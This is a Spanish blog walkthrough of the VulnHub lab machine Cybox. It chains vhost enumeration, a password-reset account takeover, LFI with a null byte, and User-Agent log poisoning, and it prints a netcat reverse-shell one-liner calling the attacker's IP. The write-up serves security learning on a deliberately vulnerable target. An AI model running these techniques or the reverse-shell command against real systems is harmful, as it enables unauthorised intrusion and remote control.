Hoy vamos a tratar de resolver la máquina Cybox de VulnHub, que además, es de un compañero de España, así qué, al lío.
Comenzamos con la parte de reconocimiento utilizando Nmap una vez más. En este caso, al arrancar la máquina, ya nos dice la IP (y el SO) que tiene, por lo que nos ahorramos lanzar Nmap contra toda la red. Un detalle xD.
Bueno, pues tenemos varios puertos con cositas interesantes. Principalmente llama la atención lo siguiente:
- En puerto 21 un vsftpd en versión 3.0.3 que ya he buscado en Google y hay exploit.
- Puerto 25 con SMTP
- En puerto 80 un apache obsoleto también con exploit (según Google).
- Y en principio en 443 lo mismo que en el 80 (lo verificamos desde el navegador)
Veamos que tiene el puerto 80.
Lanzamos ahora dirsearch para ver que encuentra...
En /assets hay una vulnerabilidad de listado de directorios. Tras revisar todos (por si las moscas), no encuentro nada que me llame la atención.
Mientras termina dirsearch, termino de mirar la página por si se me escapa algo.
Por cierto, en el puerto 443 aparece exactamente lo mismo que en el 80. Lo que sí que veo es que en el pie de la página hay un e-mail de contacto con el administrador, y que apunta a cybox.company. Ya tengo algo más por dónde rascar.
Lo que hago es añadir ese dominio a mi etc/hosts de la máquina atacante. De esta forma ese dominio resuelve localmente contra esa IP .
Como dirsearch no encuentra nada que merezca la pena (al menos accesible), y aprovechando que hemos añadido el dominio cybox.company, vamos a buscar subdominios.
Buscando en Google encuentro una herramienta hecha en GO y que permite enumerar vhost. Así que, vamos a ello.
Pues nos ha detectado unos pocos, así que, ahora nos toca meterlos de nuevo en el etc/hosts.
Pues ahora vamos a probar los subdominios y que muestra cada uno.
Tenemos un phpinfo.php en https://dev.cybox.company/, un SquirrelMail en https://webmail.cybox.company, un panel de login en http://monitor.cybox.company, un servidor FTP en http://ftp.cybox.company/ y una web para crear usuarios en http://register.cybox.company/. Lo mismo por HTTP que por HTTPS.
En este último (el de register) veo que se puede crear un usuario de correo para el dominio cybox.company.
Además de crearte el usuario aquí, lo hace en el sistema, ya que al acceder al webmail, lo hace sin problema.
Lo mismo ocurre con la aplicación de monitor, permite dar de alta a un usuario y nos deja fichar con entrada y salida. Me doy cuenta, en el último momento, que existe la típica opción de "olvidaste la contraseña", así que pruebo por si acaso.
Si miro en el webmail, veo que aparece el correo.
Y digo yo, ¿si donde pone culo lo cambio por aquel correo de admin que vimos al principio en la web principal?
Pues parece que nos deja cambiarla, y no solo eso, sino que (obviamente) podemos acceder como administrador a la aplicación monitor y nos aparece un panel de administrador.
Pues parece que no hay mucho que rascar aquí. Tanto "pa na" xD.
En este punto he de ser sincero y tengo que decir que me pegué un buen rato dándole vueltas, hasta que (no sé ni por qué) me dio por mirar el código fuente de la página y me topo con algo "raro".
Esto me recuerda a otra máquina que hice hace algún tiempo... el estilo parece que lo está importando con una función include, lo que podría llevarme a un LFI (Local File Inclusion).
Y efectivamente, puedo leer el fichero passwd. Siendo realista, esto también me llevó un rato, porque no era capaz de leerlo, hasta que recordé el nullbyte (%00) que utilicé en una de las máquinas vulnerables de OWASP (no recuerdo cuál :( ). Bien jugado, el creador de la máquina está en todo xD.
Y como no, ya puedo acceder al primer flag, que como nos indicaba en la web de VulnHub, está en user.txt.
Revisando el fichero phpinfo.php que encontré en el subdominio dev.cybox.company me doy cuenta que hay una ruta en la que está instalado el servidor web y que me va a ayudar en el siguiente paso. Además, queda claro que está haciendo uso de Bitnami.
Y viendo en Google dónde guarda Bitnami los logs, /opt/bitnami/apache2/logs/access_log vamos a obtenerlos.
Si nos fijamos, el log solo hace referencia al subdominio encontrado de FTP. Bueno, pues vamos a intentar meter una webshell a través del UserAgent.
Esto lo voy a hacer desde el Burp de la Kali, pero se puede hacer desde el propio Firefox en la parte de desarrollado haciendo uso de la pestaña Network.
Bien, pues es el momento de refrescar la página del log para ver que ha ocurrido.
En la última línea del log nos aparece como "vacío" porque hemos inyectado ahí nuestro código, pero no se puede ver. Lo que hacemos es añadir en la URL el & seguido del parámetro que habíamos puesto en UserAgent (culo) y el comando a ejecutar, esto es: &culo=which python
Vale, ahora ya vemos la salida en el log (y de paso sabemos que tiene python xD). Hago lo mismo para ver que somos el usuario daemon.
El siguiente paso es crear una shell reversa, y la forma de hacerlo es la siguiente. Ponemos un NC a la escucha en el puerto 443 y creamos la shell. Siempre utilizo la web pentestmonkey (como todos xD) para estas cosas.
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.95 443 >/tmp/f
Como esto no funciona, lo encodeo en URL y lo vuelvo a poner en la URL y, ahora si, funciona.
Como siempre, vamos a obtener una consola interactiva para poder trabajar mejor. Esto lo hacemos con:
python -c 'import pty; pty.spawn("/bin/bash")'
Después de revisar varias cosas en la máquina (que no me valen para nada) opto por hacer una enumeración básica de la máquina a ver que hay.
Me llama poderosamente (hay que usar más esa palabra xD) la atención ese registerlauncher.
Al lanzarlo se puede observar que hace lo mismo que la parte web en la que nos registrabamos.
Si vamos a la ruta y miramos el index.php podemos ver que tira de ese script que se usa para crear usuarios en el sistema y que, parece ser que el propietario es root.
Con el comando strings podemos ver que se llama a otro script.
Hay que leer el código y entender lo que está haciendo. En una de las líneas veo que dice que se crea el usuario X con la misma contraseña que el nombre, por lo que entiendo que el usuario que creé llamado culo, tendrá de contraseña culo. Vamos a comprobarlo.
Otra parte del código nos dice que se crea también un grupo con el nombre del usuario y eso lo aprovechamos para escalar privilegios, ya que si miras el sudoers de la kali, aparece la línea %sudo ALL=(ALL:ALL) ALL
Creamos el usuario sudo con contraseña sudo y accedemos con ese usuario.
Lo siguiente es hacer sudo -i (ya que tenemos permisos de root) y terminamos sacando el flag de root.
Nos vemos en la siguiente.
0 comentarios:
Publicar un comentario